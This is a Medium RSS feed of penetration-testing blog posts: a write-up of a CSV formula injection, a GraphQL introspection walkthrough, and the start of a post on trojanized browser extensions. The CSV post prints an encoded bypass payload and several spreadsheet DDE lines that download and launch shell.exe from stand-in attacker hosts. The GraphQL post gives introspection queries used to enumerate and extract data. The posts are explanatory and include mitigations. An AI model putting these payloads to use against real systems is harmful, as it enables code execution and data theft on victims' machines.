<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AliBawazeEer on Medium]]></title>
        <description><![CDATA[Stories by AliBawazeEer on Medium]]></description>
        <link>https://medium.com/@abawazeeer?source=rss-6a8a3102f063------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by AliBawazeEer on Medium</title>
            <link>https://medium.com/@abawazeeer?source=rss-6a8a3102f063------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 13:54:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abawazeeer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unveiling the Sneaky CSV Injection: VDP vs. Objective-Based Offensive Tactics]]></title>
            <link>https://abawazeeer.medium.com/unveiling-the-sneaky-csv-injection-vdp-vs-objective-based-offensive-tactics-208b22b8bba1?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/208b22b8bba1</guid>
            <category><![CDATA[vulnerability-disclosure]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Sat, 01 Jun 2024 18:27:24 GMT</pubDate>
            <atom:updated>2024-06-01T18:27:24.657Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the world of cybersecurity hide-and-seek, where we’re on a mission to find and fix sneaky computer bugs. But not all bugs are treated the same — some are easy to find, while others are like hidden treasures waiting to be discovered.</p><p>Imagine you’re playing hide-and-seek in a big digital playground. You’re searching for a tricky bug called CSV injection, which can cause a lot of trouble if it’s not caught. But there are rules to this game, and some bugs are off-limits. They’re like the hiding spots that are too easy or too hard to find.</p><p>One of these rules says that if you find a CSV bug but can’t show exactly how it’s a problem, it doesn’t count. It’s like saying you found someone hiding, but you can’t prove they’re actually hiding. It seems a bit unfair, right? But there’s a smarter way to play this game. It’s called Objective-Based Offensive Penetration Testing. Instead of just looking for bugs, we focus on how they can cause trouble and how big that trouble might be. It’s like playing hide-and-seek with a plan — we know what we’re looking for and why. So, when we’re hunting down sneaky CSV bugs, we’re not just following the usual rules. We’re playing by a new set of rules that help us find and fix the really important bugs, keeping our digital playground safe for everyone.</p><p><strong>No more tales — our primary offensive service strategy at NABD Solutions is</strong> Objective-Based Offensive Penetration Testing (OBOPT).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*L7BBznO43eMuWZuO1ODrAg.png" /><figcaption>Comparison between VDP(Bug Bounty Program) &amp; OBOPT</figcaption></figure><h3>TL:DR</h3><p>Although CSV injection vulnerabilities are typically not within the scope for reporting, it’s important to understand their implications. These vulnerabilities arise when user input isn’t properly sanitized in CSV files, posing risks like code execution and data manipulation.</p><p>During a recent security assessment, I came across a situation where user input was directly added to a CSV file without proper validation yes there was some restriction and managed to bypass it. This oversight could be exploited by attackers to tamper with the CSV data.</p><p>Even though this discovery falls outside the reporting scope, it highlights the need for better security practices. Understanding CSV injection helps organizations fortify their defenses against similar threats in the future, emphasizing the importance of thorough security testing and coding standards.</p><p>What is CSV (Comma-Separated Values) files are widely used for data storage and exchange due to their simplicity and compatibility with various applications. However, they can pose significant security risks if not handled properly. One such risk is CSV injection, a vulnerability that occurs when untrusted data is included in a CSV file and then executed as code by a program that opens it.</p><p><strong>CSV injection</strong> is a security vulnerability that can occur when a user inputs data into a CSV file that is then opened by a program that executes the data as code.in my opinion CSV Excel Macro Injection is a sophisticated attack where an attacker leverages special characters and formulas in a CSV file to execute malicious code or actions when the file is opened in Excel or other spreadsheet software. This attack can be particularly effective when the attacker can inject payloads into fields that are later exported as CSV files, such as tags in a vulnerability report.</p><h3>Vulnerability Details</h3><p><strong>Vulnerability Name:</strong> <br>CSV Injection/ Formula Injection leading to system code execution <br><strong>Description</strong>: <br>CSV Injection (aka Excel Macro Injection or Formula Injection) exists in exportfilelist feature via get request that is mistreated while exporting to a CSV file.<br><strong>Impact:<br></strong>Arbitrary formulas can be injected into CSV files which can lead to remote code execution at the internal user side or data leakage via maliciously injected hyper-links.<br><strong>Version Affected</strong>: 1.7<br><strong>Payload Used:</strong> =WEBSERVICE(“<a href="https://dnscallbackserver.redacted.com/">https://dnscallbackserver.redacted.com</a>&quot;)<br><strong>Vulnerable URL:</strong> exportfilelistcsv?path=<br><strong>Vulnerable Parameters:</strong> Click_Below<br><strong>Steps to Reproduce:</strong></p><ol><li>send two values in BurpSuite as normal request and capture request to send to repeater</li><li>monitor the file downloaded</li><li>send webservice</li></ol><p>/attackerUser/&amp;6\Click_Below\0=HYPERLINK(“C:\Windows\notepad.exe”)<br>=WEBSERVICE(“<a href="https://www.z15e554m201wwajfl7m1ey54z1nq.oastify.com/">https://dnscallback.redacted.com</a>&quot;)CSVinjection</p><p>4. request was filtered cause of special character</p><p>5. encode the request HTML / URL Encoding and CHAR Encoding</p><p>6. Final Payload</p><pre>/attackerUser/&amp;6\Click_Below\0=HYPERLINK(&quot;C:\Windows\notepad.exe&quot;)<br>=WEBSERVICE(&quot;https://dnscallback.redacted.com&quot;)CSVinjection</pre><h3>URL Encoding:</h3><ul><li>Encode special characters like &amp;, \, =, :, &quot;, etc.</li></ul><h3>CHAR Encoding:</h3><ul><li>Use the Excel CHAR function to convert characters to their ASCII values.</li></ul><h3>Step-by-Step Process:</h3><ol><li><strong>URL Encode</strong> the string:</li></ol><pre>/attackerUser/%266%5CClick_Below%5C0%3DHYPERLINK(%22C%3A%5CWindows%5Cnotepad.exe%22)%3DWEBSERVICE(%22https%3A%2F%2Fdnscallback.redacted.com%22)CSVinjection</pre><p>For the string parts inside HYPERLINK and WEBSERVICE functions, we&#39;ll convert characters to their ASCII values using the CHAR function.</p><h3>CHAR Encoded Parts:</h3><ul><li>HYPERLINK(&quot;C:\Windows\notepad.exe&quot;)</li><li>WEBSERVICE(&quot;https://dnscallback.redacted.com&quot;)</li></ul><p>To create the final payload with URL encoding and CHAR encoding for the given string, we need to convert the characters into their respective ASCII values and encode them accordingly. Here’s the breakdown:</p><pre>/attackerUser/%266%5CClick_Below%5C0%3DHYPERLINK(%22%22%26CHAR(67)%26CHAR(58)%26CHAR(92)%26CHAR(87)%26CHAR(105)%26CHAR(110)%26CHAR(100)%26CHAR(111)%26CHAR(119)%26CHAR(115)%26CHAR(92)%26CHAR(110)%26CHAR(111)%26CHAR(116)%26CHAR(101)%26CHAR(112)%26CHAR(97)%26CHAR(100)%26CHAR(46)%26CHAR(101)%26CHAR(120)%26CHAR(101)%22%22)%3DWEBSERVICE(%22%22%26CHAR(104)%26CHAR(116)%26CHAR(116)%26CHAR(112)%26CHAR(115)%26CHAR(58)%26CHAR(47)%26CHAR(47)%26CHAR(100)%26CHAR(110)%26CHAR(115)%26CHAR(99)%26CHAR(97)%26CHAR(108)%26CHAR(108)%26CHAR(98)%26CHAR(97)%26CHAR(99)%26CHAR(107)%26CHAR(46)%26CHAR(114)%26CHAR(101)%26CHAR(100)%26CHAR(97)%26CHAR(99)%26CHAR(116)%26CHAR(101)%26CHAR(100)%26CHAR(46)%26CHAR(99)%26CHAR(111)%26CHAR(109)%22%22)CSVinjection</pre><h3>Breakdown of the Payload</h3><h4>URL Components and Encoding</h4><ul><li><strong>%26</strong>: Represents the &amp; character, which is used to concatenate additional URL parameters.</li><li><strong>\</strong>: Used for escaping characters.</li><li><strong>%0a</strong>: Represents a newline character (\n), which starts a new line in the CSV.</li><li><strong>%00</strong>: Represents a null character, which can be used to bypass some filters.</li><li><strong>CHA%00R(...)</strong>: Represents the CHAR function in Excel, used to generate characters from ASCII codes. The null character (%00) might be used to obfuscate and bypass filters.</li></ul><h4>Execution Flow</h4><ol><li><strong>User Interaction:</strong> The victim is tricked into clicking the provided URL, which initiates the CSV export.</li><li><strong>CSV File Download:</strong> The victim downloads the CSV file containing the malicious payloads.</li><li><strong>CSV File Opening:</strong> When the victim opens the CSV file in Excel:</li></ol><ul><li>The HYPERLINK function creates a clickable link that, when clicked, opens notepad.exe. this can be replaced with malicious intent</li><li>The WEBSERVICE function sends a request to a malicious server, potentially exfiltrating data.</li></ul><pre>=HYPERLINK(&quot;http://malicious-site.com&quot;, &quot;Click Me&quot;)<br>=cmd|&#39;/C powershell IEX(wget attacker_server/shell.exe)&#39;!A0<br>=cmd|&#39;/c rundll32.exe \\10.0.0.1\3\2\1.dll,0&#39;!_xlbgnm.A1<br>=cmd|&#39; /C notepad&#39;!&#39;A1&#39;<br>=cmd|&#39;/C powershell IEX(wget attacker_server/shell.exe)&#39;!A0<br><br><br>=cmd|&#39; /C powershell Invoke-WebRequest &quot;http://www.attacker.com/shell.exe&quot; -OutFile &quot;$env:Temp\shell.exe&quot;; Start-Process &quot;$env:Temp\shell.exe&quot;&#39;!A1</pre><h4>Mitigation Strategies Failed:</h4><pre>def sanitize_input(input_str):<br>    return input_str.replace(&#39;=&#39;, &#39;&#39;).replace(&#39;+&#39;, &#39;&#39;).replace(&#39;-&#39;, &#39;&#39;).replace(&#39;@&#39;, &#39;&#39;)</pre><p>To protect against CSV injection, consider the following measures:</p><ol><li><strong>Sanitize Input Data</strong>: Ensure that no cell begins with the characters =, +, -, or @. One way to achieve this is by prefixing these characters with an apostrophe (&#39;), which makes them appear as text in the spreadsheet.</li></ol><pre>def sanitize_csv_field(value):<br>    if value and isinstance(value, str) and value[0] in [&#39;=&#39;, &#39;+&#39;, &#39;-&#39;, &#39;@&#39;]:<br>        return &quot;&#39;&quot; + value<br>    return value</pre><p><strong>2. Input Validation</strong>: Implement strict input validation to allow only trusted characters. Regular expressions can be used to filter input:</p><pre>import re<br><br>def validate_input(input_str):<br>    if re.match(&quot;^[a-zA-Z0-9 ]*$&quot;, input_str):<br>        return input_str<br>    else:<br>        raise ValueError(&quot;Invalid input detected&quot;)</pre><p><strong>3. Escape Dangerous Characters</strong>: During the export process, escape or remove dangerous characters from any user-supplied input.</p><pre>import csv<br><br>def escape_dangerous_chars(data):<br>    escaped_data = []<br>    for row in data:<br>        escaped_row = [sanitize_csv_field(cell) for cell in row]<br>        escaped_data.append(escaped_row)<br>    return escaped_data<br><br>def export_to_csv(data, filename):<br>    escaped_data = escape_dangerous_chars(data)<br>    with open(filename, &#39;w&#39;, newline=&#39;&#39;) as csvfile:<br>        writer = csv.writer(csvfile)<br>        writer.writerows(escaped_data)</pre><p>One way to prevent CSV injection is to sanitize the user input before it is written to the CSV file. This can involve removing or escaping special characters that could be interpreted as commands. Another approach is to validate the user input to ensure that it does not contain any malicious code. It is also important to ensure that the client program that opens the CSV file does not execute any code contained in the file. This can be achieved by using a CSV parser that does not execute any code or by using a separate program to process the data contained in the CSV file.</p><h3>Impacts and Risks:</h3><p>The repercussions of a successful CSV Formula Injection can be severe.</p><ul><li><strong>Hijack Computers:</strong> Illustration of a hacker gaining control over a computer.</li><li><strong>Exfiltrate Sensitive Data</strong>: Image of data being transferred surreptitiously.</li><li><strong>Download Malware</strong>: Icon representing malware being downloaded onto a computer.</li><li><strong>Privilege Escalation</strong>: Visual depiction of access levels being elevated.</li><li><strong>Remote Code Execution:</strong> Representation of code being executed remotely.</li><li><strong>Compromise of User Credentials:</strong> Icon showing login credentials being compromised.</li><li><strong>Risks to Data Confidentiality, Integrity, and Availability:</strong> Graphical representation of data being threatened in terms of confidentiality, integrity, and availability.</li></ul><h3>In Conclusion</h3><p>Imagine you’re baking a cake, and someone hands you a mysterious ingredient. You think it’s just a harmless spice, but when you add it to the mix, it causes your oven to explode! CSV injection is kind of like that, but with computers instead of cakes. CSV injection vulnerabilities may seem innocuous at first glance, akin to adding an unknown spice to a cake batter. However, just like the unexpected explosion in the oven, these vulnerabilities can wreak havoc on computer systems. By understanding the risks associated with CSV injection and implementing proper validation and encoding practices, organizations can prevent potential disasters and ensure the integrity of their data. So, the next time you’re dealing with CSV files, remember to handle them with care, just like you would with any mysterious ingredient in your kitchen.</p><ul><li>Remediation for CSV injection vulnerabilities can be challenging, and many bug bounty programs explicitly prohibit this type of attack.</li><li>To mitigate the risk, developers can ensure that no cells in the CSV file begin with certain characters known to trigger formula execution in applications like Microsoft Excel, including “=”, “+”, “-”, and “@”.</li><li>Developers can prepend an apostrophe (‘) to the beginning of any cell containing these characters.</li><li>Adding an apostrophe signals to Excel that the cell does not contain a formula, preventing unintended execution.</li><li>Importantly, Excel does not display the apostrophe when the file is viewed, preserving the appearance of the data while safeguarding against CSV injection attacks.</li></ul><h3>Reference:</h3><p><a href="https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md">https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=208b22b8bba1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Story of GraphQL ; Tuning Out Introspection Vulnerabilities]]></title>
            <link>https://abawazeeer.medium.com/a-story-of-graphql-tuning-out-introspection-vulnerabilities-061ce14d609c?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/061ce14d609c</guid>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Mon, 11 Mar 2024 08:08:11 GMT</pubDate>
            <atom:updated>2024-03-11T08:08:11.028Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Story of GraphQL ; Tuning Out Introspection Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*LtfO2A5hnWTaYfCscFtK_Q.png" /></figure><p>Ever seen a one-man band at a crowded bar? Juggling instruments, stomping on pedals, singing their heart out — it’s a chaotic symphony, a testament to human multitasking (and possibly questionable musical taste). Well, GraphQL introspection queries are kind of like that one-man band. They’re designed to expose everything a GraphQL server has to offer, like a musician frantically displaying every instrument in their arsenal. While it seems helpful in the beginning, just like with the one-man band, this unrestricted access can lead to some unexpected (and potentially dangerous) consequences.</p><p>This blog will delve into the security issues associated with GraphQL introspection queries, helping you avoid the pitfalls of an oversharing server and ensuring your GraphQL API remains a harmonious melody, not a cacophony of vulnerabilities.</p><p>As i conclude my musical journey through Nashville, the “Country Music Capital of the World,” So, saddle up, grab a glass of sweet tea, and let’s get started!</p><h3>TL;DR: Secure your GraphQL API</h3><p><strong>Check for specific headers in POST requests</strong>: Restrictions might apply beyond GET requests.<br>- <strong>Restrict access</strong>: Only authorized users should access the API.<br>- <strong>Disable introspection:</strong> This prevents attackers from discovering your API schema.<br>- <strong>Introspection leakage:</strong> If enabled, it might expose all sensitive data like PII.<br>- <strong>Mapping complexity</strong>: Consider using open-source frameworks for simplifying mapping to build your enumeration Queries.<br>- <strong>GraphQL lacks built-in authentication</strong>, leaving potential security gaps. Developers must implement authentication to prevent unauthorized access to sensitive data. Without proper authentication, anyone can potentially access exposed information through the GraphQL API.</p><h4>Summary: GraphQL vs. REST APIs</h4><p><strong>GraphQL simplifies data fetching</strong>: A single request gathers all the necessary data, reducing complexity for developers.<br><strong>REST often requires multiple requests</strong>: Data is scattered across various endpoints, making the process more involved.</p><p>While GraphQL boasts efficiency with its single-request approach for fetching data, unlike REST’s multiple endpoint calls, a crucial caveat exists: <strong>GraphQL isn’t</strong> inherently secure. This blog post delves into a specific security concern: <strong>Introspection vulnerabilities</strong>. We’ll explore how this vulnerability can be exploited</p><p>GraphQL offers a flexible and efficient alternative to REST APIs for data access, but requires careful security considerations.</p><ul><li>— — — — — — — — -+ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — + — — — — — — — — — — — — — — — — — — — — — -+<br>| Feature | GraphQL | REST |<br>+ — — — — — — — — -+ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — + — — — — — — — — — — — — — — — — — — — — — -+<br>| <strong>Endpoints</strong> | Single | Multiple |<br>| <strong>Queries</strong> | Structured and flexible | Precise parameters for specific endpoints |<br>| <strong>Client Benefits</strong> | Unified data access | |<br>| <strong>Server Benefits</strong> | Simplified data access logic | |<br>| <strong>Operations</strong> | CRUD (Create, Read, Update, Delete) | CRUD |<br>| <strong>Data Structure</strong> | Organized by types and fields | Endpoints |<br>| <strong>Schema</strong> | Defines capabilities and limits access | None |<br>| <strong>Nodes</strong> | Objects with fields (potential security risk) | |<br>| <strong>Edges</strong> | Connections between objects (sometimes overlooked in security) | |<br>+ — — — — — — — — -+ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — + — — — — — — — — — — — — — — — — — — — — — -+</li></ul><blockquote>GraphQL Organized by types and fields, not endpoints. <strong>Single endpoint provides access to all data</strong>.</blockquote><blockquote>CRUD operations: <strong>Queries (read)</strong> , Mutations (create, update, delete) and <br>Subscriptions (real-time updates)</blockquote><p><strong>Schema: </strong>The schema outlines the types of data available (e.g., Users, Products, Orders) and their fields (e.g., name, price, status).</p><p>This is the most important where it Defines the capabilities of the API and limits what can be accessed. Includes types (object definitions) and fields (object attributes). It acts as a documentation for the API, clearly specifying what data can be requested and manipulated.</p><p>With the basics of GraphQL schemas laid out, we can now explore the realm of exploiting GraphQL misconfiguration and its impact on security.</p><p>just like any other penetration testing activity, enumeration .. enumeration and way to start finding GraphQL endpoints ,</p><h4>Directory Findings !!</h4><p>using tools such gobuster or burb intruder with wordlist could help identify exposed endpoints.. some wordlists</p><pre>graphiql<br>graphiql.css<br>graphiql/finland<br>graphiql.js<br>graphiql.min.css<br>graphiql.min.js<br>graphiql.php<br>graphql<br>graphql/console</pre><p><a href="https://raw.githubusercontent.com/danielmiessler/SecLists/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt">Wordlist</a>-PayloadalltheThings</p><blockquote>for additional fingerprinting , a nice tool which can’t work in my case by default cause the server require only Post Request and couple of headers <br><a href="https://github.com/dolevf/graphw00f">Graphw00f</a> — GraphQL Server Fingerprinting</blockquote><p>in my case the moment i loaded the site a post requests was .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*yJWLt_PCmj4-HQZu-pqrNA.png" /></figure><p>Ah, you’ve found a GraphQL endpoint, but what’s next? That’s where introspection comes in! It might sound fancy, but it’s actually quite simple.</p><p><strong>Verifying the endpoint or request uses GraphQL</strong> ; in my case it simple from the name of endpoint but mostly not straight forward</p><blockquote>Sending the Special Signal: This phrase acts as a knock on the door, a way to check for GraphQL used in the backend.</blockquote><pre>query{__typename}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQ-yzC_SZCrqtWeSZP4qLg.png" /><figcaption>from burp repeater screenshot request &amp; response</figcaption></figure><p>This method alone doesn’t definitively confirm a GraphQL endpoint is vulnerable to introspection vulnerability rather a way for fingerprintng and crafting your next steps</p><p><strong>another method for verifying endpoint is an error based</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoEOIdJvtVJzdXgi2GiEmg.png" /><figcaption>query the {__schema}</figcaption></figure><h4>Dissecting GraphQL &amp; Understanding introspection Vulnerability</h4><p>Imagine you’re trying to use a new app. Introspection is like having a built-in instruction manual that tells you what the app can do and what information it can access.</p><p>In GraphQL, introspection terms like __Schema, __Type, and __Field allow you to explore an API’s capabilities. Think of them as tools for understanding the data types, fields, and arguments available of the whole structure with an introspection query (<a href="https://graphql.org/learn/introspection/">https://graphql.org/learn/introspection</a>)</p><h3>Here’s how it works in GraphQL:</h3><h4>1. Peeking under the hood:</h4><p>You can send a special query to the API itself, asking it to reveal its features. This is like flipping to the “Features” section of the manual.</p><h4>2. Seeing what’s available:</h4><p>This query shows you all the types of data (like users, posts, products), the <strong>fields</strong> within those types (like username, title, description), and even <strong>special instructions</strong> (called directives) that can be used in your queries.</p><h4>3. Unlocking further exploration:</h4><p>If the API allows introspection (like having an open manual), you can use this information to understand its capabilities and build powerful queries to retrieve the data you need.<br>So, how do you use introspection? Here’s the basic query you can send (if the API allows it):</p><pre>{__schema{types{name,fields{name}}}}</pre><p>This will give you a basic overview of the types and fields available in the API. <strong>You can then use this information to dig deeper and craft more specific queries</strong> to get the data you’re looking for!</p><h4>Introspection</h4><p>To use introspection to discover schema information, query the __schema field. This field is available on the root type of all queries.</p><p>query={__schema{types{name,fields{name}}}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dacM3xqh5kKQfX7liPiESg.png" /></figure><p>With this query you will find the name of all the types being used:</p><pre>{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gdlONs9C_dyKw2UKoGnQSQ.png" /><figcaption>digging deeper for each names</figcaption></figure><h4><strong>Enumerate Database Schema via Introspection</strong></h4><p>If introspection is enabled but the below query doesn’t run, try removing the onOperation, onFragment, and onField directives from the query structure.</p><pre>query IntrospectionQuery {<br>    __schema {<br>        queryType {<br>            name<br>        }<br>        mutationType {<br>            name<br>        }<br>        subscriptionType {<br>            name<br>        }<br>        types {<br>         ...FullType<br>        }<br>        directives {<br>            name<br>            description<br>            args {<br>                ...InputValue<br>        }<br>        onOperation  <br>        onFragment   <br>        onField      <br>        }<br>    }<br>}<br><br>fragment FullType on __Type {<br>    kind<br>    name<br>    description<br>    fields(includeDeprecated: true) {<br>        name<br>        description<br>        args {<br>            ...InputValue<br>        }<br>        type {<br>            ...TypeRef<br>        }<br>        isDeprecated<br>        deprecationReason<br>    }<br>    inputFields {<br>        ...InputValue<br>    }<br>    interfaces {<br>        ...TypeRef<br>    }<br>    enumValues(includeDeprecated: true) {<br>        name<br>        description<br>        isDeprecated<br>        deprecationReason<br>    }<br>    possibleTypes {<br>        ...TypeRef<br>    }<br>}<br><br>fragment InputValue on __InputValue {<br>    name<br>    description<br>    type {<br>        ...TypeRef<br>    }<br>    defaultValue<br>}<br><br>fragment TypeRef on __Type {<br>    kind<br>    name<br>    ofType {<br>        kind<br>        name<br>        ofType {<br>            kind<br>            name<br>            ofType {<br>                kind<br>                name<br>            }<br>        }<br>    }<br>}</pre><p>This code is a <strong>GraphQL introspection query.</strong> It’s like a request sent to a server to <strong>explore and understand the available data and functionalities</strong> it offers through the GraphQL API. Think of it as asking the server,</p><p>What kind of data do you have? <br>hat operations can I perform on it?”</p><p>The query delves into several aspects of the schema, including:</p><p><strong>Types of data:</strong> It identifies the different categories of data available, like users, products, or orders.<br><strong>Fields within each type:</strong> It explores the specific elements (fields) for each data type, such as name, price, or status for a product.<br><strong>Operations:</strong> It checks for supported operations like fetching data (queries), modifying data (mutations), or receiving real-time updates (subscriptions).</p><p>In essence, this query acts like a map that reveals the structure and capabilities of the GraphQL API, allowing you to understand what data it holds and how you can interact with it.</p><p><a href="https://nathanrandal.com/graphql-visualizer/">GraphQL Visualizer</a></p><h4>Exploring a Store’s Inventory with GraphQL</h4><p>Imagine you’re working with a GraphQL API for an online store. You’ve used introspection and discovered the following:</p><p>The root query object is called products.<br>The products object has a field named getAllProducts that takes an optional argument called category.<br>Crafting a Query:</p><p>Here’s a GraphQL query to retrieve all products in the “Clothing” category:</p><pre>query {<br>  products {<br>    getAllProducts(category: &quot;Clothing&quot;) {<br>      # Specify the desired product details<br>      id<br>      name<br>      price<br>      image<br>    }<br>  }<br>}</pre><ul><li>The query starts with query, indicating data retrieval.</li><li>We access the products object (products { … }).</li><li>Inside the products object, we use the .getAllProducts field.</li><li>We provide the category argument with the value “Clothing” to filter the results.</li><li>Within .getAllProducts, we specify specific product details we want to</li><li>retrieve using field names like id, name, price, and image.<br>Response (Example):</li></ul><p>The response might look like:</p><pre>JSON<br>{<br> &quot;data&quot;: {<br> &quot;products&quot;: {<br> &quot;getAllProducts&quot;: [<br> {<br> &quot;id&quot;: &quot;123&quot;,<br> &quot;name&quot;: &quot;T-Shirt&quot;,<br> &quot;price&quot;: 29.99,<br> &quot;image&quot;: &quot;https://example.com/images/t-shirt.jpg&quot;<br> },<br> {<br> &quot;id&quot;: &quot;456&quot;,<br> &quot;name&quot;: &quot;Jeans&quot;,<br> &quot;price&quot;: 59.99,<br> &quot;image&quot;: &quot;https://example.com/images/jeans.jpg&quot;<br> }<br> ]<br> }<br> }<br>}</pre><h3>Time To Extract Data by constructing our query</h3><p>The request we intercepted ;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwpjn3cAd-n72HyLFgbETw.png" /></figure><pre>{&quot;operationName&quot;:&quot;fetchNews&quot;,&quot;variables&quot;:{&quot;filter&quot;:{&quot;offset&quot;:0,&quot;limit&quot;:20,&quot;crNumber&quot;:null,&quot;pageType&quot;:&quot;PUBLIC_NEWS&quot;,&quot;isPublished&quot;:true,&quot;language&quot;:&quot;en&quot;}},&quot;query&quot;:&quot;query fetchNews($filter: NewsFilter) {\n  getAllNewsWithoutActions(filter: $filter) {\n    news {\n      id\n      title\n      author\n      createdBy\n      description\n      publishedDate\n      cdnFilePath\n      activityName\n    }\n    totalItems\n    totalPages\n  }\n}\n&quot;}<br><br></pre><p><strong>extracting all email in ticket systems</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yv9-IB43avv3vKQlOi_hag.png" /></figure><h4><strong>GraphQL Security Pitfalls: Lack of Built-in Access Control</strong></h4><p>GraphQL offers flexibility but can introduce security vulnerabilities if not implemented cautiously. Here’s a summary of the key points:</p><p><strong>Core Issue:</strong> By design, GraphQL lacks a built-in access control system. Developers rely on writing custom “resolvers” to manage data access for each query. This can lead to vulnerabilities.</p><blockquote><strong>Improper Access Control (IDOR): </strong>Legitimate queries might allow unauthorized access to other users’ data by manipulating variables <br><strong>Field Injection:</strong> Legitimate queries might be modified to include unauthorized fields</blockquote><p><strong>Conclusion</strong></p><p>In conclusion, while talented individuals excel in their respective domains, just like full-stack developers bring unique skillsets to building applications, offensive security testing requires the specialized expertise, collaboration, and comprehensive approach offered by a professional team. This team-based approach ensures a more thorough assessment, identification, and mitigation of your organization’s security vulnerabilities, ultimately providing a more robust defense against evolving cyber threats.</p><p>NABD Solutions | Offensive Security Researchers</p><h3>References</h3><blockquote><em>https://www.guru99.com/graphql-vs-rest-apis.html</em></blockquote><h3><strong>Tools</strong>; a recommendation to play around with</h3><ul><li><a href="https://github.com/swisskyrepo/GraphQLmap">https://github.com/swisskyrepo/GraphQLmap</a></li><li><a href="https://altairgraphql.dev/">https://altairgraphql.dev/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=061ce14d609c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The TROJANIZED COMPONENT: DISSECTING THE BROWSER EXTENSION AND CTI GREAT EFFECTS]]></title>
            <link>https://abawazeeer.medium.com/the-trojanized-component-dissecting-the-browser-extension-and-cti-great-effects-8cca18cd1a31?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cca18cd1a31</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[threat-actor]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[browser-extension]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Sat, 20 Feb 2021 19:27:28 GMT</pubDate>
            <atom:updated>2021-02-20T19:41:00.242Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="dissection" src="https://cdn-images-1.medium.com/max/1024/1*f337K98X6Jdcbo2WShESBA.png" /></figure><p>Without question, 2020 was defined by the global coronavirus pandemic (GCP). So to speak Not only has the virus had huge public health consequences, social distancing and lockdown measures also have had profound economic impacts. On the other hand Cybercriminals and APT taking advantages of the situation, surprisingly they are targeting org and security researcher due to the wide spread of work from home and BYOD.</p><p>Lessons will be learned over the coming months and years by governments and businesses. Thus, its unique 360-degree view of the business and risk-control mindset can help organizations identify their blind spots and opportunities to improve their security operations. .</p><p>Unlike previous years, the unprecedented circumstances of the threat landscape and recent, the biggest global risk event in recent memory, have undoubtedly shaped the outlook for 2021. However, APT itself is not a principal risk.</p><p>Rather than posing new threats, the novel Supply chain attacks has exacerbated existing risks, putting them in a new light and forcing organizations to think about them from different angles or assign to them new levels of priority. Moreover, The incident highlights the severe impact software supply chain attacks can have and the unfortunate fact that most organizations are woefully unprepared to prevent and detect such threats. A case in point, cyber and data security is a perennial front-of-mind risk for board members, Audit Committee Chairs and CAEs. Widespread homeworking has meant that cybersecurity has taken on a new dimension, diving into details shall outlasts the rest of the report about browser plugin /extension threat and its benign use</p><p>comparatively, The lesson learnt today is how to adapt remote working culture in corporates and remain proactive in threat landscape while mobile devices continue to proliferate.</p><h3><strong>TL;DR</strong></h3><blockquote>Browsers play a huge role in many businesses, but they’re also a main entry point for cyber-attacks. And As the World Wide Web matures into a ubiquitous computing platform, people are growing comfortable with sharing their personal information with web applications they trust. However, this casual sharing of information is accompanied by serious privacy and security implications.<br>We will walk through a use case and technical details of how in recent times browsers have been abused for malicious tasks such as private information gathering, browsing history retrieval, or password theft — leading to a number of devastating attacks. Nevertheless , the research shall find out how you can protect your enterprise from browser-based attacks and some advise of safe browsing .</blockquote><figure><img alt="A Trojan horse 